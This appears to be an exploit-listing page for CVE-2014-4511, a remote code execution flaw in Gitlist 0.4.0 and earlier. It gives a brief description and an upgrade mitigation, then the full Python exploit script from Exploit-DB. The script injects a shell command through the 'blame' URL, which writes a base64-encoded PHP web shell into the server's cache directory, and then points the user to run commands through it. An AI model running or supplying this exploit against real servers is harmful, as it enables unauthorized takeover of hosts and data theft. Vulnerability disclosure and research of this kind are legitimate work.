Gitlist - exploit.company

vendor:

Gitlist

by:

drone (@dronesec)

7,5

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Gitlist

Affected Version From: <= 0.4.0

Affected Version To: 0.5.0

Patch Exists: YES

Related CWE: CVE-2014-4511

CPE: a:gitlist:gitlist

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Debian 7

2014

Gitlist <= 0.4.0 anonymous RCE

Gitlist is a web frontend for browsing Git repositories. A vulnerability exists in versions <= 0.4.0 which allows an anonymous user to execute arbitrary code on the server. This is due to the lack of input validation in the 'blame' controller. An attacker can craft a malicious URL which will write a PHP shell to the server's cache directory. This shell can then be used to execute arbitrary commands on the server.

Mitigation:

Upgrade to version 0.5.0 or later.

Source

Exploit-DB raw data:

from commands import getoutput
import urllib
import sys

""" 
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage: http://gitlist.org/
Software link: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz
Version: <= 0.4.0
Fixed in: 0.5.0
Tested on: Debian 7
More information: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
cve: CVE-2014-4511
"""

if len(sys.argv) <= 1:
    print '%s: [url to git repo] {cache path}' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git /var/www/git/cache' % sys.argv[0]
    sys.exit(1)

url = sys.argv[1]
url = url if url[-1] != '/' else url[:-1]

path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
    path = sys.argv[2]

print '[!] Using cache location %s' % path

# payload <?system($_GET['cmd']);?>
payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="

# sploit; python requests does not like this URL, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)

out = getoutput("wget %s" % mpath)
if '500' in out:
    print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
    print '[-] Failed to drop'
    print out